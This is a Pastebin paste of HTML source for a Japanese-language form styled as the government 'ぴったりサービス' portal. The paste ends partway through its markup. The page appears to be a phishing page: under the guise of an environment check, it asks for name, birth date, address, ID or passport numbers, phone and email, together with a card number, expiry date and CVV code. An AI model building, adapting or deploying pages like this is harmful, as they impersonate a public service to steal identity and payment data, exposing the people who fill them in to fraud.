Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="ja">
- <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
- <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# website: http://ogp.me/ns/website#">
- <meta charset="UTF-8">
- <title>動作環境の確認 | ぴったりサービス</title>
- <meta name="description" content="">
- <meta name="copyright" content="">
- <meta property="og:title" content="">
- <meta property="og:type" content="">
- <meta property="og:image" content="">
- <meta property="og:url" content="">
- <meta property="og:description" content="">
- <meta property="og:site_name" content="">
- <meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=2.0">
- <link rel="shortcut icon" href="./template/img/icon/favicon.ico">
- <link rel="apple-touch-icon" sizes="192x192" href="./template/img/icon/touch-icon.png">
- <link rel="stylesheet" href="./template/css/setup.min.css">
- <link rel="stylesheet" href="./template/css/sp_a22.css" type="text/css" media="screen and (max-width: 768px)">
- <link rel="stylesheet" href="./template/css/pc_a22.css" type="text/css" media="screen and (min-width: 769px)">
- <link rel="stylesheet" href="./template/css/style2.css">
- <link rel="stylesheet" href="./template/css/slick.css">
- <link rel="stylesheet" href="./template/css/colorbox.css">
- <link rel="stylesheet" href="./template/css/mposs.css">
- <link rel="stylesheet" href="./template/css/mposs_crcr.css">
- <link rel="stylesheet" href="./template/css/mposs_environment_check.css">
- <!-- <link rel="stylesheet" href="./template/css/basscss.css"> -->
- <link rel="stylesheet" href="./template/css/sp_environment_check.css" type="text/css" media="screen and (max-width: 768px)">
- <script type="text/javascript" src="./template/js/date.js"></script>
- <script src="./template/js/jquery-3.3.1.min.js"></script>
- <style type="text/css">
- #InitialBlind {
- position: absolute;
- left: 0px;
- top: 0px;
- width: 100%;
- height: 100%;
- z-index: 100;
- background-color: rgba(0, 0, 0, 0);
- }
- </style>
- <meta name="format-detection" content="telephone=no">
- <!-- <script>
- ! function(a) {
- var e = "https://s.go-mpulse.net/boomerang/",
- t = "addEventListener";
- if ("False" == "True") a.BOOMR_config = a.BOOMR_config || {}, a.BOOMR_config.PageParams = a.BOOMR_config.PageParams || {}, a.BOOMR_config.PageParams.pci = !0, e = "https://s2.go-mpulse.net/boomerang/";
- if (window.BOOMR_API_key = "QAUM9-H5MFF-BG6N4-749AA-JMPST", function() {
- function n(e) {
- a.BOOMR_onload = e && e.timeStamp || (new Date).getTime()
- }
- if (!a.BOOMR || !a.BOOMR.version && !a.BOOMR.snippetExecuted) {
- a.BOOMR = a.BOOMR || {}, a.BOOMR.snippetExecuted = !0;
- var i, _, o, r = document.createElement("iframe");
- if (a[t]) a[t]("load", n, !1);
- else if (a.attachEvent) a.attachEvent("onload", n);
- r.src = "javascript:void(0)", r.title = "", r.role = "presentation", (r.frameElement || r).style.cssText = "width:0;height:0;border:0;display:none;", o = document.getElementsByTagName("script")[0], o.parentNode.insertBefore(r, o);
- try {
- _ = r.contentWindow.document
- } catch (O) {
- i = document.domain, r.src = "javascript:var d=document.open();d.domain='" + i + "';void(0);", _ = r.contentWindow.document
- }
- _.open()._l = function() {
- var a = this.createElement("script");
- if (i) this.domain = i;
- a.id = "boomr-if-as", a.src = e + "QAUM9-H5MFF-BG6N4-749AA-JMPST", BOOMR_lstart = (new Date).getTime(), this.body.appendChild(a)
- }, _.write("<bo" + 'dy onload="document._l();">'), _.close()
- }
- }(), "".length > 0)
- if (a && "performance" in a && a.performance && "function" == typeof a.performance.setResourceTimingBufferSize) a.performance.setResourceTimingBufferSize();
- ! function() {
- if (BOOMR = a.BOOMR || {}, BOOMR.plugins = BOOMR.plugins || {}, !BOOMR.plugins.AK) {
- var e = "" == "true" ? 1 : 0,
- t = "",
- n = "3ug5p3axg4xiwx4clhoq-f-10a538e7a-clientnsv4-s.akamaihd.net",
- i = {
- "ak.v": "29",
- "ak.cp": "960640",
- "ak.ai": parseInt("615805", 10),
- "ak.ol": "0",
- "ak.cr": 258,
- "ak.ipv": 4,
- "ak.proto": "http/1.1",
- "ak.rid": "ba9eae7",
- "ak.r": 31209,
- "ak.a2": e,
- "ak.m": "a",
- "ak.n": "essl",
- "ak.bpcip": "221.13.215.0",
- "ak.cport": 4892,
- "ak.gh": "23.55.46.135",
- "ak.quicv": "",
- "ak.tlsv": "tls1.2",
- "ak.0rtt": "",
- "ak.csrc": "-",
- "ak.acc": "bbr",
- "ak.t": "1602378205",
- "ak.ak": "hOBiQwZUYzCg5VSAfCLimQ==3KMO/ijIR6/07+Nsc+wXzCt8S3FBS5u/4azrxCBdMtf1oinqSIjcGPyZSNFOFPTrv0+gJ1R9pqqJVSkbLubkwtnOPMMoeQFPGPQm9FWfz/SdAy0P0U5F+HUUYB3uyHjsIcD6L7MWm36brk2xffYNvB5IXvxd7KSuBeSdyxqrKxchtiny4UWW8Df4bhaZKDYiiwb0Uyc+/ppRstUbr+8URV0mlVftR/tCilY7JH4xoEfKeTchXFcM6z12P+WQsXJ63VOhXOGJGoH8Qs6bWvXjyhngYkq0jSHECjufI3EhFJRz+RwgN6Aep6sB+M7cH274uGUzT8Xn9SC2JM/QKqyNwnTZErC+rqYmvMkFxV9146AjgCd7znNNZBsPcEHkSMQnhZSKlte/4vw/rXQ+O07lXR4sfUAyoLNhY3Yvw6ywUPA=",
- "ak.pv": "9",
- "ak.dpoabenc": ""
- };
- if ("" !== t) i["ak.ruds"] = t;
- var _ = {
- i: !1,
- av: function(e) {
- var t = "http.initiator";
- if (e && (!e[t] || "spa_hard" === e[t])) i["ak.feo"] = void 0 !== a.aFeoApplied ? 1 : 0, BOOMR.addVar(i)
- },
- rv: function() {
- var a = ["ak.bpcip", "ak.cport", "ak.cr", "ak.csrc", "ak.gh", "ak.ipv", "ak-8.html", "ak.n", "ak.ol", "ak.proto", "ak.quicv", "ak.tlsv", "ak.0rtt", "ak.r", "ak.acc", "ak.t"];
- BOOMR.removeVar(a)
- }
- };
- BOOMR.plugins.AK = {
- akVars: i,
- akDNSPreFetchDomain: n,
- init: function() {
- if (!_.i) {
- var a = BOOMR.subscribe;
- a("before_beacon", _.av, null, null), a("onbeacon", _.rv, null, null), _.i = !0
- }
- return this
- },
- is_complete: function() {
- return !0
- }
- }
- }
- }()
- }(window);
- </script> -->
- </head>
- <script>
- </script>
- <body id="a_confirmation" class="a_confirmation">
- <div id="blockskip">
- <a href="#tabindex_main" class="moving moving_main">メインコンテンツに移動する</a>
- </div>
- <!-- <div id="InitialBlind">
- <div class="loader on" aria-busy="true"></div>
- </div> -->
- <div class="container">
- <header class="n_header">
- <nav>
- <div class="head_wrap">
- <h1 style="cursor:default"><img src="./template/img/form/header_ttl.png" alt="ぴったりサービス" width="185"></h1>
- </div>
- </nav>
- </header>
- <main class="content content_v2" id="main">
- <div class="common_wrap">
- <section id="tabindex_main" tabindex="0">
- <div class="block_a_confirmation_wrap">
- <form action="" id="myform" method="post" enctype="multipart/form-data" >
- <input type="hidden" name="id" value="0" />
- <section class="block_a_confirmation">
- <img src="./template/img/common/step1.png" style="margin: 0 auto 20px;" class="titleImg">
- <h3 class="line_blue">
- <span style="font-weight: bold">
- 申請者の情報を入力してください。
- </span>
- </h3>
- <div class="operating_environment_wrap">
- <table class="table fix_lay pc_layout">
- <tbody>
- <div style="font-weight: bold; margin-bottom: 10px; padding: 0 14px">お使いの機器によってはカード情報の取り込みは利用できない場合があります。</div>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>氏名(漢字)</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <p>※全角文字で入力してください。
- <br>※姓名の間には空白を入れてください。
- <br><例>山田 花子
- </p>
- <input type="text" placeholder="番号 太郎" class="input" name="name1" id="name1" value="" >
- </div>
- </td>
- </tr>
- <!-- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <p class>氏名(漢字) 全角文字で入力してください。 姓名の間には空白を入れてください。 <例>山田 花子 番号 太郎
- </p>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="error invisible">
- <p>
- お使いのOSでは電子署名付与ができません。<br>
- <a class="dousakankyou_top_link" href="index-5.html" target="_blank" title="別ウインドウで開きます。">こちら</a>(動作環境 <img src="icn_window.png" class="blank_link_icn" alt="動作環境"> )より推奨OSをご確認ください。
- </p>
- </div>
- <div class="no_error invisible">
- <p>対応しています。</p>
- <p class="annotation_txt onlyWindows invisible">※OSには最新のサービスパック等を適用した上でご利用ください。</p>
- <p class="only_mac_message red"></p>
- </div>
- </td>
- </tr> -->
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>氏名(フリガナ)</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <p>※全角文字で入力してください。
- <br>※姓名の間には空白を入れてください。
- <br><例>ヤマダ ハナコ
- </p>
- <input placeholder="バンゴウ タロウ" class="input" name="name2" id="name2" type="text" value=""/>
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>国籍</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell" style="display: flex">
- <!--<form>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style=" height: auto;" type="radio" name="country" value="0" checked />日本</label>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style=" height: auto;" type="radio" name="country" value="1" />外国籍</label>-->
- <!--<ul class="qsRow">-->
- <!--<li class="left common">-->
- <!--<ul>-->
- <!--<li>-->
- <!--<input type="radio" name="country" id="1" value="0" hidden checked />-->
- <!--<label class="related" for="1"></label>-->
- <!--<span>日本</span>-->
- <!--</li>-->
- <!--<li>-->
- <!--<input type="radio" name="country" id="2" value="1" hidden />-->
- <!--<label class="related" for="2"></label>-->
- <!--<span>外国籍</span>-->
- <!--</li>-->
- <!--</ul>-->
- <!--</li>-->
- <!--</ul>-->
- <input type="radio" name="country" value="0" checked />
- <div style="line-height: 3.0rem;">日本</div>
- <input type="radio" name="country" style="margin-left: 20px;" value="1" />
- <div style="line-height: 3.0rem;">外国籍</div>
- <!--</form>-->
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>生年月日</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <!--<form name="form">-->
- <select name="year" id="year" onChange="yearChange(this.value)">
- <option value="0" selected>-</option>
- </select>年
- <select name="month" id="month" onChange="monthChange(this.value)">
- <option value="0" selected>-</option>
- </select>月
- <select name="day" id="day" onChange="dayChange(this.value)">
- <option value="0" selected>-</option>
- </select>日
- <!--</form>-->
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>性別</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell" style="display: flex">
- <!--<form>-->
- <!--<label style="margin-right: 10px; font-weight: bold;">-->
- <!--<input class="radio_type" type="radio" name="sex" style=" height: auto;" value="0" checked />男性</label>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style=" height: auto;" type="radio" name="sex" value="1" />女性</label>-->
- <!--<label style="margin-right: 10px; font-weight: bold;">-->
- <!--<input class="radio_type" type="radio" style=" height: auto;" name="sex" value="2" />非選択</label>-->
- <!--<ul class="qsRow">-->
- <!--<li class="left common">-->
- <!--<ul>-->
- <!--<li>-->
- <!--<input type="radio" name="sex" id="3" value="0" hidden checked />-->
- <!--<label class="related" for="3"></label>-->
- <!--<span>男性</span>-->
- <!--</li>-->
- <!--<li>-->
- <!--<input type="radio" name="sex" id="4" value="1" hidden />-->
- <!--<label class="related" for="4"></label>-->
- <!--<span>女性</span>-->
- <!--</li>-->
- <!--<li>-->
- <!--<input type="radio" name="sex" id="5" value="2" hidden />-->
- <!--<label class="related" for="5"></label>-->
- <!--<span>非選択</span>-->
- <!--</li>-->
- <!--</ul>-->
- <!--</li>-->
- <!--</ul>-->
- <input type="radio" name="sex" value="0" checked />
- <div style="line-height: 3.0rem;">男性</div>
- <input type="radio" name="sex" style="margin-left: 20px;" value="1" />
- <div style="line-height: 3.0rem;">女性</div>
- <input type="radio" name="sex" style="margin-left: 20px;" value="1" />
- <div style="line-height: 3.0rem;">非選択</div>
- <!--</form>-->
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>郵便番号</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <p>ハイフンなしで記入してください</p>
- <input placeholder="1001000" class="input" style="width: 4vw" name="postcode1" id="postcode1" type="text" value="" />
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <p>※番地以下(建物を含む)
- <br>※全角文字で入力してください
- <br><例>豊洲xxx-xxx
- </p>
- <input placeholder="霞ヶ関1-1-1" class="input" name="postcode2" id="postcode2" value="" />
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <p>運転免許証/保険番号/パスポート番号</p>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <input placeholder="" class="input" style="width: 10vw" name="number" value="" />
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <p>職業</p>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <input placeholder="" class="input" style="width: 10vw;" name="job" value="" />
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>入金カード番号</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <input placeholder="" class="input" style="width: 10vw;" maxlength="16" onblur="checknumberfun(this.value);" name="bankcard" id="bankcard" value="" />
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>カード有効期限</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <!--<form name="form1">-->
- <select name="month1" id="month1" onChange="monthChange1(this.value)">
- <option value="0" selected>-</option>
- </select>月
- <select name="year1" id="year1" onChange="yearChange1(this.value)">
- <option value="0" selected>-</option>
- </select>年
- <!--</form>-->
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>認証コード</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <input placeholder="CVV2" class="input" style="width: 4vw;" maxlength="4" name="code" id="code" value="" >
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>入金カード種別</p>
- </div>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell" style="display: flex">
- <!--<form>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style="height: auto;" type="radio" name="bankcardtype" value="0" checked />個人</label>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style="height: auto;" type="radio" name="bankcardtype" value="1" />会社</label>-->
- <!--<ul class="qsRow">-->
- <!--<li class="left common">-->
- <!--<ul>-->
- <!--<li>-->
- <!--<input type="radio" name="bankcardtype" id="6" value="0" hidden checked />-->
- <!--<label class="related" for="6"></label>-->
- <!--<span>個人</span>-->
- <!--</li>-->
- <!--<li>-->
- <!--<input type="radio" name="bankcardtype" id="7" value="1" hidden />-->
- <!--<label class="related" for="7"></label>-->
- <!--<span>会社</span>-->
- <!--</li>-->
- <!--</ul>-->
- <!--</li>-->
- <!--</ul>-->
- <input type="radio" name="bankcardtype" value="0" checked />
- <div style="line-height: 3.0rem;">個人</div>
- <input type="radio" name="bankcardtype" style="margin-left: 20px;" value="1" />
- <div style="line-height: 3.0rem;">会社</div>
- <!--</form>-->
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <p>申請者電話番号</p>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <p>※半角数字で記入してください</p>
- <div style="display: flex;">
- <input placeholder="090" class="input" style="width: 4vw; margin: 0 10px 0 0;" maxlength="3" name="phone1" value="" />
- <p>-</p>
- <input placeholder="000" class="input" style="width: 4vw; margin: 0 10px;" maxlength="4" name="phone2" value="" />
- <p>-</p>
- <input placeholder="000" class="input" style="width: 4vw; margin: 0 10px;" maxlength="4" name="phone3" value="">
- </div>
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <p>FAX番号</p>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <p>※半角数字で記入してください</p>
- <div style="display: flex;">
- <input class="input" style="width: 4vw; margin: 0 10px 0 0;" placeholder="090" name="fax1" maxlength="3" value="" />
- <p>-</p>
- <input class="input" style="width: 4vw; margin: 0 10px;" placeholder="000" name="fax2" maxlength="4" value="" />
- <p>-</p>
- <input class="input" style="width: 4vw; margin: 0 10px;" placeholder="000" name="fax3" maxlength="4" value="" />
- </div>
- </div>
- </td>
- </tr>
- <tr class="os_check">
- <td class="ttl_item ttl_items bg_gray wdt30pct">
- <div class="displaytable">
- <div class="tablecell">
- <p>メールアドレス</p>
- </div>
- </div>
- </td>
- <td class="detail_txt wdt60pct inactive_link">
- <div class="tablecell">
- <input class="input" name="email" value="">
- </div>
- </td>
- </tr>
- </tbody>
- </table>
- </div>
- </section>
- </form>
- <form action="" method="post" id="pmyform">
- <input type="hidden" name="id" value="0" />
- <!-- ---------------------------------- -->
- <!-- 氏名(漢字) -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>氏名(漢字)</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive">
- <!-- <div class="entry_check block_check tablecell inactive">
- <input type="checkbox" class="check_box checkbox5" id="checkbox5_sp" tabindex="-1">
- <label for="checkbox5_sp"></label>
- </div> -->
- <div class="detail_txt no_error" style="color: #bebebe">
- <p>※全角文字で入力してください。
- <br>※姓名の間には空白を入れてください。
- <br><例>山田 花子
- </p>
- <input placeholder="バンゴウ タロウ" type="input" class="input" style="width: 40vw;" name="name1" id="pname1" value=""/>
- </div>
- </div>
- </div>
- </div>
- <!-- 氏名(フリガナ) -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>氏名(フリガナ)</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive">
- <div class="detail_txt no_error" style="color: #bebebe">
- <p>※全角文字で入力してください。
- <br>※姓名の間には空白を入れてください。
- <br><例>ヤマダ ハナコ
- </p>
- <input placeholder="バンゴウ タロウ" class="input" style="width: 40vw;" name="name2" id="pname2" value="" />
- </div>
- </div>
- </div>
- </div>
- <!-- 国籍 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>国籍</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive">
- <div class="detail_txt no_error" style="color: #bebebe">
- <div style="display: flex">
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style=" height: auto;" type="radio" name="country" value="0" checked />日本</label>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style=" height: auto;" type="radio" name="country" value="1" />外国籍</label>-->
- <!--<ul class="qsRow">-->
- <!--<li class="left common">-->
- <!--<ul>-->
- <!--<li>-->
- <!--<input type="radio" name="country" id="8" value="0" hidden checked />-->
- <!--<label class="related" for="8"></label>-->
- <!--<span>日本</span>-->
- <!--</li>-->
- <!--<li>-->
- <!--<input type="radio" name="country" id="9" value="1" hidden />-->
- <!--<label class="related" for="9"></label>-->
- <!--<span>外国籍</span>-->
- <!--</li>-->
- <!--</ul>-->
- <!--</li>-->
- <!--</ul>-->
- <input type="radio" name="country" value="0" checked />
- <div style="line-height: 3.0rem;">日本</div>
- <input type="radio" name="country" style="margin-left: 20px;" value="1" />
- <div style="line-height: 3.0rem;">外国籍</div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <!-- 生年月日 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>生年月日</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive">
- <div class="detail_txt no_error">
- <!--<form name="form2">-->
- <select name="year" id="year2" onChange="yearChange2(this.value)">
- <option value="0" selected>-</option>
- </select>年
- <select name="month" id="month2" onChange="monthChange2(this.value)">
- <option value="0" selected>-</option>
- </select>月
- <select name="day" id="day2" onChange="dayChange2(this.value)">
- <option value="0" selected>-</option>
- </select>日
- <!--</form>-->
- </div>
- </div>
- </div>
- </div>
- <!-- 性別 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>性別</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive">
- <div class="detail_txt no_error" style="color: #bebebe">
- <div style="display: flex">
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" type="radio" style=" height: auto;" name="sex" value="0" checked />男性</label>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" type="radio" style=" height: auto;" name="sex" value="1" />女性</label>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" type="radio" style=" height: auto;" name="sex" value="2" checked/>非選択</label>-->
- <!--<ul class="qsRow">-->
- <!--<li class="left common">-->
- <!--<ul>-->
- <!--<li>-->
- <!--<input type="radio" name="sex" id="10" value="0" hidden checked />-->
- <!--<label class="related" for="10"></label>-->
- <!--<span>男性</span>-->
- <!--</li>-->
- <!--<li>-->
- <!--<input type="radio" name="sex" id="11" value="1" hidden />-->
- <!--<label class="related" for="11"></label>-->
- <!--<span>女性</span>-->
- <!--</li>-->
- <!--<li>-->
- <!--<input type="radio" name="sex" id="12" value="2" hidden />-->
- <!--<label class="related" for="12"></label>-->
- <!--<span>非選択</span>-->
- <!--</li>-->
- <!--</ul>-->
- <!--</li>-->
- <!--</ul>-->
- <input type="radio" name="sex" value="0" checked />
- <div style="line-height: 3.0rem;">男性</div>
- <input type="radio" name="sex" style="margin-left: 20px;" value="1" />
- <div style="line-height: 3.0rem;">女性</div>
- <input type="radio" name="sex" style="margin-left: 20px;" value="1" />
- <div style="line-height: 3.0rem;">非選択</div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <!-- 郵便番号 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div style="padding: 10px 0;">
- <div>
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>郵便番号</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive" style="color: #bebebe">
- <div class="detail_txt no_error">
- <input placeholder="" class="input" style="width: 40vw;" name="postcode1" id="ppostcode1" value="" />
- </div>
- </div>
- </div>
- </div>
- <div class="table fix_lay sp_layout">
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive" style="color: #bebebe">
- <div class="detail_txt no_error">
- <p>※番地以下(建物を含む)
- <br>※全角文字で入力してください
- <br><例>豊洲xxx-xxx
- </p>
- <input placeholder="霞ヶ関1-1-1" class="input" style="width: 40vw;" name="postcode2" value="" />
- </div>
- </div>
- </div>
- </div>
- <!-- 運転免許証/保険番号/パスポート番号 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <p>運転免許証/保険番号/パスポート番号</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive" style="color: #bebebe">
- <div class="detail_txt no_error">
- <input placeholder="" class="input" style="width: 40vw;" name="number" value="" />
- </div>
- </div>
- </div>
- </div>
- <!-- 職業 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <p>職業</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive" style="color: #bebebe">
- <div class="detail_txt no_error">
- <input placeholder="" class="input" style="width: 40vw;" name="job" value="" />
- </div>
- </div>
- </div>
- </div>
- <!-- 入金カード番号 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>入金カード番号</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive" style="color: #bebebe">
- <div class="detail_txt no_error">
- <input placeholder="" class="input" style="width: 40vw;" onblur="checknumberfun(this.value);" name="bankcard" maxlength="16" id="pbankcard" value="" />
- </div>
- </div>
- </div>
- </div>
- <!-- カード有効期限 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>カード有効期限</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive" style="color: #bebebe">
- <div class="detail_txt no_error">
- <!--<form name="form3">-->
- <select name="month1" id="month3" onChange="monthChange3(this.value)">
- <option value="0" selected>-</option>
- </select>月
- <select name="year1" id="year3" onChange="yearChange3(this.value)">
- <option value="0" selected>-</option>
- </select>年
- <!--</form>-->
- </div>
- </div>
- </div>
- </div>
- <!-- 認証コード -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <div class="required">必須</div>
- <p>認証コード</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive" style="color: #bebebe">
- <div class="detail_txt no_error">
- <input placeholder="CVV2" class="input" style="width: 10vw;" maxlength="4" name="code" id="pcode" value="" >
- </div>
- </div>
- </div>
- </div>
- <!-- 入金カード種別 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div style="padding: 10px 0;">
- <div>
- <div>
- <div class="required">
- <div>必須</div>
- </div>
- <p>入金カード種別</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive" style="color: #bebebe">
- <div class="detail_txt no_error">
- <div style="display: flex">
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style="height: auto;" type="radio" name="bankcardtype" value="0" checked />個人</label>-->
- <!--<label style="margin-right: 10px; font-weight: bold;"> <input class="radio_type" style="height: auto;" type="radio" name="bankcardtype" value="1" />会社</label>-->
- <!--<ul class="qsRow">-->
